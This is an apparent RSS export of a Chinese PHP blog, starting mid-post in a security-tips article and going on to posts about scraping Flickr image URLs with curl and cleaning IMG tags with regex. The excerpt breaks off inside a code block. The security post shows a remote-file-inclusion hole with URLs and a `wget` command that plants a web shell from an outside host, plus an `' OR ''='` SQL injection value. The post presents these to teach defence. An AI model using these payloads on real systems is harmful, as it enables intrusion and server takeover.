</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
  <span style="color: #b1b100;">include</span> <span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'test'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></td></tr></table></div>

<p>> 假设木马地址为 - http://tool.evlos.org/file/mm.txt<br />
> 在 Linux 主机上面我们就可以在地址栏输入以下代码将木马传到目标主机上。</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
</pre></td><td class="code"><pre class="php" style="font-family:monospace;">http<span style="color: #339933;">:</span><span style="color: #096;">//tool.evlos.org/file/index.php?test=</span>
http<span style="color: #339933;">:</span><span style="color: #096;">//tool.evlos.org/file/command.txt?cmd=</span>
wget http<span style="color: #339933;">:</span><span style="color: #096;">//tool.evlos.org/file/mm.txt -O shell.php</span></pre></td></tr></table></div>

<p><strong>4. SQL 输入转义：</strong></p>
<p>> 过滤了 $_GET $_POST $_COOKIE 几个常见的输入来源之后。<br />
> 我们也要用 mysql_real_escape_string 函数来保护 Mysql 数据库。<br />
> 这是一个简单的防注入技巧，代码如下，这个样子就可以咯。</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
<span style="color: #000088;">$sqlc</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;UPDATE users SET
  name='.mysql_real_escape_string(<span style="color: #006699; font-weight: bold;">$user</span>).'
  WHERE id='.mysql_real_escape_string(<span style="color: #006699; font-weight: bold;">$id</span>).'&quot;</span><span style="color: #339933;">;</span>
<span style="color: #990000;">mysql_query</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$sqlc</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span>
//受影响的字符　\x00　\n　\r　\　'　&quot;　\x1a</pre></td></tr></table></div>

<p>> 假设未进行保护，那么就会有可能出现最熟悉的 “or=” Mysql 注入漏洞了。</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
<span style="color: #990000;">mysql_connect</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;localhost&quot;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;hello&quot;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;321&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$sql</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;SELECT * FROM users
WHERE user='<span style="color: #006699; font-weight: bold;">{$_POST['user']}</span>'
AND password='<span style="color: #006699; font-weight: bold;">{$_POST['pwd']}</span>'&quot;</span><span style="color: #339933;">;</span>
<span style="color: #990000;">mysql_query</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$sql</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #096;">// 假设传输过来的数据像下面这个样子。</span>
<span style="color: #096;">// $_POST['user'] = 'john';</span>
<span style="color: #096;">// $_POST['pwd'] = &quot;' OR ''='&quot;; </span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></td></tr></table></div>

<p><strong>二. 睡觉去咯：</strong></p>
<p>> 今天看到一个阿三的演讲，描绘了虚拟现实世界结合的完美生活，灰常鸡冻。<br />
> 开一个叫兽处的传送门 - <a target='_blank' rel='nofollow' href='http://www.chunbaba.net/blog/?p=554'>http://www.chunbaba.net/blog/?p=554</a></p>
<p>> Phpwind 7.5 的漏洞和 WordPress 2.7 的漏洞，它们的详细信息在这里。<br />
> 开俩传送门 - <a target='_blank' rel='nofollow' href='http://www.80vul.com/pwvul/phpwind.txt'>http://www.80vul.com/pwvul/phpwind.txt</a><br />
> 还有WP的门 - <a target='_blank' rel='nofollow' href='http://www.80vul.com/exp/wordpress.txt'>http://www.80vul.com/exp/wordpress.txt</a></p>
<p>> 最近搜狐上线的搜搜舞文弄墨服务，可以生成藏头诗和层层递进的诗，嘿嘿嘿。<br />
> 传送门 - <a target='_blank' rel='nofollow' href='http://labs.soso.com/app.q?app=makepoem'>http://labs.soso.com/app.q?app=makepoem</a></p>
<p><img src='http://www.evlos.org/ev-box/myimg/uploads/old/Capture1113.png' /></p>
<p>> <img src='http://www.evlos.org/wp-includes/images/smilies/icon_smile.gif' alt=':smile:' class='wp-smiley' /> 好咯，小邪就讲解到这里了，好多童鞋都觉得小邪的文章太长了呢。<br />
> 所以小邪以后会尽量短小精悍一点，囧，貌似这篇文章还是有点长。<br />
> 那么祝愿有兴趣阅读的盆友坚挺一点儿，小邪又要去睡觉罗 Zzzz 晚安呐。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evlos.org/2010/01/11/safety-tips-for-php/feed/</wfw:commentRss>
		<slash:comments>94</slash:comments>
		</item>
		<item>
		<title>如何抓取Flickr相片集中的图片URL</title>
		<link>http://www.evlos.org/2010/01/10/get-the-files-and-urls-from-flickr/</link>
		<comments>http://www.evlos.org/2010/01/10/get-the-files-and-urls-from-flickr/#comments</comments>
		<pubDate>Sat, 09 Jan 2010 18:13:45 +0000</pubDate>
		<dc:creator>小邪</dc:creator>
				<category><![CDATA[PHP编程 [PHP Build]]]></category>
		<category><![CDATA[curl]]></category>
		<category><![CDATA[flickr]]></category>
		<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://www.evlos.org/?p=1893</guid>
		<description><![CDATA[> 最近小邪准备把博客的图片地址都换成 Flickr 上面的图片地址，所以需要用抓取来节省时间。 > 恩恩，纯粹是节省时间，抓取对很多盆友都是不好的事情，小邪的站也被抓过，很杯具。 > 那么，在这里小邪就讲解一下如何使用 PHP 的 CURL 函数和正则式抓取 Flickr 的图片。 > 首先用 Curl 带 Cookies 地抓页面代码，然后用正则分离出图片Code，最后得到大尺寸地址。 > Rencently, Evlos prepare to change the image urls in my article to the image urls in Flickr. > So, I think I should use php program to catch urls in Flickr for saving time. [...]]]></description>
			<content:encoded><![CDATA[<p>> 最近小邪准备把博客的图片地址都换成 Flickr 上面的图片地址，所以需要用抓取来节省时间。<br />
> 恩恩，纯粹是节省时间，抓取对很多盆友都是不好的事情，小邪的站也被抓过，很杯具。</p>
<p><img src='http://www.evlos.org/ev-box/myimg/uploads/old/Capture1105.jpg' /></p>
<p>> 那么，在这里小邪就讲解一下如何使用 PHP 的 CURL 函数和正则式抓取 Flickr 的图片。<br />
> 首先用 Curl 带 Cookies 地抓页面代码，然后用正则分离出图片Code，最后得到大尺寸地址。</p>
<p><span id="more-1893"></span>> Rencently, Evlos prepare to change the image urls in my article to the image urls in Flickr.<br />
> So, I think I should use php program to catch urls in Flickr for saving time.<br />
> Um .. Just for saving time, curl isn't a good tools for lots of people.<br />
> Because it can get the whole data in website and make a mirror site for gaining money.<br />
> And I suffered this last month, it's a tragedy.</p>
<p>> First of all, use curl get the html data. We should post some cookies in same time.<br />
> Then use regex to get the code for images. At last, we use image code to get image url.</p>
<p><strong>一. 分析一下地址 Analyse url：</strong></p>
<p><strong>1. 用户地址 User url -</strong></p>
<p>> http://www.flickr.com/photos/46051661@N04<br />
> 比如小邪的用户地址就是这个样子的，很规则，处理有规则的东西是最方便的鸟。</p>
<p>> For example, this is my album url. It's very regular and can easy to deal with it.</p>
<p><strong>2. 相片集地址 Album url -</strong></p>
<p>> http://www.flickr.com/photos/46051661@N04/sets/72157623167782492<br />
> 恩恩，后面是一个 Sets 表示相片集，然后是相片集本身的 Code。<br />
> 小邪喜欢把这些唯一性的字符称为 Code，呵呵，这样比较好说一点儿。</p>
<p>> Um .. It contains a sets code rearward and a user code in der mitte.<br />
> Evlos like called the unique character as code. Haha, it's easily explained.</p>
<p><strong>3. 单张相片地址 Single image url -</strong></p>
<p>> http://www.flickr.com/photos/46051661@N04/4259923860/<br />
> http://www.flickr.com/photos/46051661@N04/4259923860/in/set-72157623167782492<br />
> 嘎嘎，有两种，其实都是一模一样的页面来着，所以咱挑上面的短的。</p>
<p>> :), Flickr offer two kinds of url, but it will heading us to a same page.<br />
> So, certainly, we choose the shorter url.</p>
<p><strong>4. 单张相片大尺寸地址 Single image url for big size -</strong></p>
<p>> http://www.flickr.com/photos/46051661@N04/4259923860/sizes/o/<br />
> 一般来说小邪的 600px 宽度，高度在 600px 以下的，都用地址 O 来查看全图的。<br />
> http://www.flickr.com/photos/46051661@N04/4259923860/sizes/l/<br />
> 因为 Flickr 不提供大图全图，而 L 是图片尺寸过大后被裁减的地址，所以只好用 L 咯。<br />
> 嘎嘎，还有四个尺寸，依次减小，这样子 - M S T SQ，OK可以开工了。</p>
<p>> In general, my image is limit in 600px and i can get the full size by "o".<br />
> Bacause Flickr limit the size of image by 1024px for free users.<br />
> And "L" is a code for the image exceed 1024px and offer 1024px image.<br />
> Haha, and the remaining four size. Like M S T SQ, so let's beginning. </p>
<p><strong>二. 开始抓取 Begin to catch：</strong></p>
<p><strong>1. 抓取相片 Code 代码 Catch the code of image：</strong></p>
<p>> $sa[0] 里面储存的是相片的 Code，$sa[1] 储存的是相片的标题。<br />
> 而 $sa[2][0] 储存的是相片个数，因为这里是二维数组，小邪不想要 Foreach。<br />
> 虽然双层 Foreach 可以遍历二维数组，不过这里只需要作为两个一维数组就好。</p>
<p>> Put the codes of image in $sa[0]. And put the title of image in $sa[1].<br />
> And put the numbers of images into $sa[2][0], bacause it's 2d array.<br />
> And Evlos don't want to use foreach. Though i can use double-layer foreach.<br />
> I just need to use two 1d array, it's enough.</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">function</span> app_get_set_info<span style="color: #009900;">&#40;</span><span style="color: #000088;">$data</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
	<span style="color: #000088;">$regex</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;%\/photos\/46051661@N04\/(\d+)\/in\/set\-\d+\/<span style="color: #000099; font-weight: bold;">\&quot;</span> 
title=<span style="color: #000099; font-weight: bold;">\&quot;</span>([a-z0-9A-Z-_]*)<span style="color: #000099; font-weight: bold;">\&quot;</span> class%i&quot;</span><span style="color: #339933;">;</span>
	<span style="color: #990000;">preg_match_all</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$regex</span><span style="color: #339933;">,</span><span style="color: #000088;">$data</span><span style="color: #339933;">,</span><span style="color: #000088;">$save</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #000088;">$sa</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$save</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
	<span style="color: #000088;">$sa</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$save</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">2</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
	<span style="color: #000088;">$sa</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">2</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> array_count<span style="color: #009900;">&#40;</span><span style="color: #000088;">$save</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #b1b100;">return</span> <span style="color: #000088;">$sa</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

<p>> $save[1] 是储存第一个括号中匹配内容的数组，而 $save[2] 则是第二个括号的。<br />
> 那么还有一个，是 $save[0]，这个当然就是整串正则式匹配的字符咯，O(∩_∩)O。</p>
<p>> We put the content in firstly bracket into $save[1].<br />
> And the same meaning to content in secendly bracket.<br />
> So, the $save[0] is use to putting the whole content that get by regex.</p>
<p><strong>2. 抓取图片地址：</strong></p>
<p>> 恩，这里整个页面也就一张 JPG 或者 PNG 的大图了（页面元素是 GIF）。<br />
> 所以咱们这样子抓下来。╮(╯▽╰)╭，可怜的 Flickr，被偶剥得半裸了。<br />
> 嘎嘎，差不多就 619 那根全裸男一样了（619 童鞋一定要小邪给他开个裸奔帝国<a target='_blank' rel='nofollow' href='http://liuyijun.com/'>传送门</a>）。</p>
<p>> Um .. The whole image page is just include one jpg or one png url.<br />
> So we can easily get it by regex like the following content.</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">function</span> app_get_ourl<span style="color: #009900;">&#40;</span><span style="color: #000088;">$data</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
	<span style="color: #000088;">$pagelist_regex</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;%&lt;img src=<span style="color: #000099; font-weight: bold;">\&quot;</span>(.+.jpg)<span style="color: #000099; font-weight: bold;">\&quot;</span>%i&quot;</span><span style="color: #339933;">;</span>
	<span style="color: #990000;">preg_match_all</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$pagelist_regex</span><span style="color: #339933;">,</span><span style="color: #000088;">$data</span><span style="color: #339933;">,</span><span style="color: #000088;">$save</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #096;">//print_r($save);</span>
	<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #990000;">isset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$save</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #000088;">$pagelist_regex</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;%&lt;img src=<span style="color: #000099; font-weight: bold;">\&quot;</span>(.+.png)<span style="color: #000099; font-weight: bold;">\&quot;</span>%i&quot;</span><span style="color: #339933;">;</span>
		<span style="color: #990000;">preg_match_all</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$pagelist_regex</span><span style="color: #339933;">,</span><span style="color: #000088;">$data</span><span style="color: #339933;">,</span><span style="color: #000088;">$save</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
	<span style="color: #b1b100;">return</span> <span style="color: #000088;">$save</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

<p><strong>3. 带 Cookies 的 Curl：</strong></p>
<p>> 因为登陆后在相片集页面可以看到全部照片，所以咱们用 Curl 把  Cookies 传过去。<br />
> 嘎嘎，老样子，大家都喜欢模拟 FF 的访问头部。然后是一些必要的参数。</p>
<p>> Because if we login, we can see the all images in set page.<br />
> So we post the cookies to Flickr, and get the html code.<br />
> Haha .. Same as ever, we like simulate the header of firefox.</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">function</span> app_get_html<span style="color: #009900;">&#40;</span><span style="color: #000088;">$url</span><span style="color: #339933;">,</span><span style="color: #000088;">$cookie</span><span style="color: #339933;">=</span><span style="color: #0000ff;">''</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
	<span style="color: #000088;">$curl</span> <span style="color: #339933;">=</span> <span style="color: #990000;">curl_init</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$url</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #000088;">$useragent</span><span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; 
rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1&quot;</span><span style="color: #339933;">;</span>
	<span style="color: #990000;">curl_setopt</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$curl</span><span style="color: #339933;">,</span> CURLOPT_RETURNTRANSFER<span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">true</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #990000;">curl_setopt</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$curl</span><span style="color: #339933;">,</span> CURLOPT_USERAGENT<span style="color: #339933;">,</span> <span style="color: #000088;">$useragent</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$cookie</span><span style="color: #339933;">&lt;&gt;</span><span style="color: #0000ff;">''</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #990000;">curl_setopt</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$curl</span><span style="color: #339933;">,</span> CURLOPT_COOKIE<span style="color: #339933;">,</span> <span style="color: #000088;">$cookie</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
	<span style="color: #000088;">$data</span> <span style="color: #339933;">=</span> <span style="color: #990000;">curl_exec</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$curl</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #990000;">curl_close</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$curl</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #b1b100;">return</span> <span style="color: #000088;">$data</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #096;">// 用法如下，Cookies 信息麻烦自行找到，小邪太懒了╮(╯▽╰)╭。</span>
<span style="color: #096;">// The example method like the following content. Please get the cookies by yourself.</span>
app_get_html<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'http://www.flickr.com/photos/46051661@N04/sets/72157623167782492'</span><span style="color: #339933;">,</span>
<span style="color: #000088;">$cookie</span><span style="color: #339933;">=</span><span style="color: #0000ff;">'cookie_accid=16212532;cookie_epass=816e23c7b24aa6q9f13713e7503de07f;'</span><span style="color: #009900;">&#41;</span></pre></td></tr></table></div>

<p><strong>4. 程序运行过程 The process of running：</strong></p>
<p>> 首先麻烦自行搞到 Flickr 的 Cookies，然后把相片集页面包含的相片 Code 全部抓取来。<br />
> 保存到数据库之类的地方（因为咱们可能会经常超时），一条一条读取数据库中保存的 Code。</p>
<p>> 然后获取图片页面中的 Url，保存到数据库，如果 Url 已经储存就不去抓取了。<br />
> 因为 100% 会出现超时，所以得这样，然后到时候刷新下接着干就好了，嘿嘿。</p>
<p>> 请原谅小邪没有把完整源代码贴出来，因为怕引起 Flickr 官方的注意，虽然可能性不会很大。<br />
> 但是还是小心一点儿为好。而且全部的主要代码已经贴出来了，储存数据库相信你能搞定的。<br />
> 呵呵，时间又到两点多钟了，小邪很想睡觉鸟 Zzzzzzzzzz 晚安喔，小邪这就去把床给上了。</p>
<p>> First of all, get the cookies for yourself. Then get the codes for images.<br />
> Save them into database or something like that. And read data one by one.</p>
<p>> Get the url for single image file and save to db, if it's exist, just skip up.<br />
> Beacuse we will reach the time excceed. So just need to refresh the page.</p>
<p><strong>三. 这难道是水军路过？！：</strong></p>
<p><img src='http://www.evlos.org/ev-box/myimg/uploads/old/Capture1104.jpg' /></p>
<p>> 截图留念，╮(╯▽╰)╭，人家都是拍照留念，但小邪没事最喜欢截图留念了。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evlos.org/2010/01/10/get-the-files-and-urls-from-flickr/feed/</wfw:commentRss>
		<slash:comments>114</slash:comments>
		</item>
		<item>
		<title>使用正则式整理数据库中IMG标签</title>
		<link>http://www.evlos.org/2010/01/05/use-regex-to-clear-the-mix-of-tag-img/</link>
		<comments>http://www.evlos.org/2010/01/05/use-regex-to-clear-the-mix-of-tag-img/#comments</comments>
		<pubDate>Mon, 04 Jan 2010 16:40:35 +0000</pubDate>
		<dc:creator>小邪</dc:creator>
				<category><![CDATA[正则式 [Regex]]]></category>
		<category><![CDATA[img]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[regex]]></category>

		<guid isPermaLink="false">http://www.evlos.org/?p=1887</guid>
		<description><![CDATA[> 小邪最近因为流量紧缺启用了防盗链系统来着，所以为了保证防盗警示图片的大小正常。 > 只好把所有图片的 IMG 标签中除了 SRC 指向图片的 URL 属性以外，其他全部清除。 > 因为国内网上的正则式教程十分紧缺，只能找到少量的教程，有时候很难学习全面。 > 所以小邪也只能按照自己多次的测试得出的结果来稍微讲解一下呢，能学多少就看你的咯。 一. 有关正则式的函数分类： > 正则表达式函数库（Perl 兼容）- > preg_grep -- 返回与模式匹配的数组单元 > preg_match_all -- 进行全局正则表达式匹配 > preg_match -- 进行正则表达式匹配 > preg_quote -- 转义正则表达式字符 > preg_replace_callback -- 用回调函数执行正则表达式的搜索和替换 > preg_replace -- 执行正则表达式的搜索和替换 > preg_split -- 用正则表达式分割字符串 > 正则表达式函数库（POSIX 扩展）- > ereg_replace -- 替换正则表达式 > [...]]]></description>
			<content:encoded><![CDATA[<p>> 小邪最近因为流量紧缺启用了防盗链系统来着，所以为了保证防盗警示图片的大小正常。<br />
> 只好把所有图片的 IMG 标签中除了 SRC 指向图片的 URL 属性以外，其他全部清除。</p>
<p><img src="http://www.evlos.org/ev-box/myimg/uploads/old/Capture1056.jpg" /></p>
<p>> 因为国内网上的正则式教程十分紧缺，只能找到少量的教程，有时候很难学习全面。<br />
> 所以小邪也只能按照自己多次的测试得出的结果来稍微讲解一下呢，能学多少就看你的咯。</p>
<p><span id="more-1887"></span><strong>一. 有关正则式的函数分类：</strong></p>
<p>> <strong>正则表达式函数库（Perl 兼容）</strong>-</p>
<p>> preg_grep --  返回与模式匹配的数组单元<br />
> preg_match_all -- 进行全局正则表达式匹配<br />
> preg_match -- 进行正则表达式匹配<br />
> preg_quote -- 转义正则表达式字符<br />
> preg_replace_callback -- 用回调函数执行正则表达式的搜索和替换<br />
> preg_replace -- 执行正则表达式的搜索和替换<br />
> preg_split -- 用正则表达式分割字符串</p>
<p>> <strong>正则表达式函数库（POSIX 扩展）</strong>-</p>
<p>> ereg_replace -- 替换正则表达式<br />
> ereg -- 正则表达式匹配<br />
> eregi_replace -- 不区分大小写替换正则表达式<br />
> eregi -- 不区分大小写的正则表达式匹配<br />
> split -- 用正则表达式将字符串分割到数组中<br />
> spliti --  用正则表达式不区分大小写将字符串分割到数组中<br />
> sql_regcase --  产生用于不区分大小的匹配的正则表达式</p>
<p>> 这两组函数库提供了对 POSIX 和 PERL 两种风格的正则表达式的支持。<br />
> 区别不大，PERL 的表达式两边要加上 “/”，而且据说 PERL 运行效率高一点。</p>
<p><strong>二. 程序运行LOG日志记录：</strong></p>
<p>> 呵呵，这个是程序运行的时候会陆续输出的运行记录，方便检查。<br />
> 第一次运行的时候像下面这样，然后刷新，被替换和替换为的数据会变成相同的。<br />
> 这样就表示替换成功了，恭喜发财，嘿嘿嘿 O(∩_∩)O。</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
</pre></td><td class="code"><pre class="php" style="font-family:monospace;">Post Id <span style="color: #339933;">=&gt;</span> <span style="color: #cc66cc;">1864</span>
<span style="color: #096;">//正在被替换的数据库中文章的ID</span>
<span style="color: #339933;">&lt;</span>img src<span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;http://www.evlos.org/uploads/1451_020.jpg&quot;</span>
 <span style="color: #000000; font-weight: bold;">class</span><span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;alignnone&quot;</span> width<span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;600&quot;</span> height<span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;437&quot;</span> <span style="color: #339933;">/&gt;</span>
<span style="color: #096;">//在数据库中的文章表里面查找到的IMG标签</span>
<span style="color: #339933;">&lt;</span>img src<span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;http://www.evlos.org/uploads/1451_020.jpg&quot;</span> <span style="color: #339933;">/&gt;</span>
<span style="color: #096;">//将要被替换成为的精简过的IMG标签</span>
ID <span style="color: #990000;">Count</span> <span style="color: #339933;">:</span> <span style="color: #cc66cc;">1</span>
<span style="color: #096;">//此文章中的图片数量统计</span>
Success ~<span style="color: #339933;">!</span>
<span style="color: #096;">//成功更新了Mysql数据库中的数据</span>
&nbsp;
Post Id <span style="color: #339933;">=&gt;</span> <span style="color: #cc66cc;">1875</span>
<span style="color: #339933;">&lt;</span>img src<span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;http://www.evlos.org/uploads/1451_031.jpg&quot;</span>
 <span style="color: #000000; font-weight: bold;">class</span><span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;alignnone&quot;</span> width<span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;600&quot;</span> height<span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;235&quot;</span> <span style="color: #339933;">/&gt;</span>
<span style="color: #339933;">&lt;</span>img src<span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;http://www.evlos.org/uploads/1451_031.jpg&quot;</span> <span style="color: #339933;">/&gt;</span>
<span style="color: #339933;">&lt;</span>img src<span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;http://www.evlos.org/uploads/1451_030.jpg&quot;</span>
 <span style="color: #000000; font-weight: bold;">class</span><span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;alignnone&quot;</span> width<span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;600&quot;</span> height<span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;156&quot;</span> <span style="color: #339933;">/&gt;</span>
<span style="color: #339933;">&lt;</span>img src<span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;http://www.evlos.org/uploads/1451_030.jpg&quot;</span> <span style="color: #339933;">/&gt;</span>
<span style="color: #339933;">&lt;</span>img src<span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;http://www.evlos.org/uploads/1451_031.jpg&quot;</span>
 <span style="color: #000000; font-weight: bold;">class</span><span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;alignnone&quot;</span> width<span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;600&quot;</span> height<span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;235&quot;</span> <span style="color: #339933;">/&gt;</span>
<span style="color: #339933;">&lt;</span>img src<span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;http://www.evlos.org/uploads/1451_031.jpg&quot;</span> <span style="color: #339933;">/&gt;</span>
<span style="color: #339933;">&lt;</span>img src<span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;http://www.evlos.org/uploads/1451_028.jpg&quot;</span>
 <span style="color: #000000; font-weight: bold;">class</span><span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;alignnone&quot;</span> width<span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;600&quot;</span> height<span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;186&quot;</span> <span style="color: #339933;">/&gt;</span>
<span style="color: #339933;">&lt;</span>img src<span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;http://www.evlos.org/uploads/1451_028.jpg&quot;</span> <span style="color: #339933;">/&gt;</span>
<span style="color: #339933;">&lt;</span>img src<span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;http://www.evlos.org/uploads/1451_029.jpg&quot;</span>
 <span style="color: #000000; font-weight: bold;">class</span><span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;alignnone&quot;</span> width<span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;600&quot;</span> height<span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;246&quot;</span> <span style="color: #339933;">/&gt;</span>
<span style="color: #339933;">&lt;</span>img src<span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;http://www.evlos.org/uploads/1451_029.jpg&quot;</span> <span style="color: #339933;">/&gt;</span>
ID <span style="color: #990000;">Count</span> <span style="color: #339933;">:</span> <span style="color: #cc66cc;">5</span>
Success ~<span style="color: #339933;">!</span>
&nbsp;
<span style="color: #339933;">-------------------</span>
<span style="color: #990000;">Count</span> <span style="color: #339933;">:</span> <span style="color: #cc66cc;">296</span> <span style="color: #096;">//整个WP_posts表中，所有的的图片总数</span></pre></td></tr></table></div>

<p><strong>三. 程序源代码：</strong></p>
<p>>  以下内容保存为任意名称的 PHP 文件，填好配置，运行即可。</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
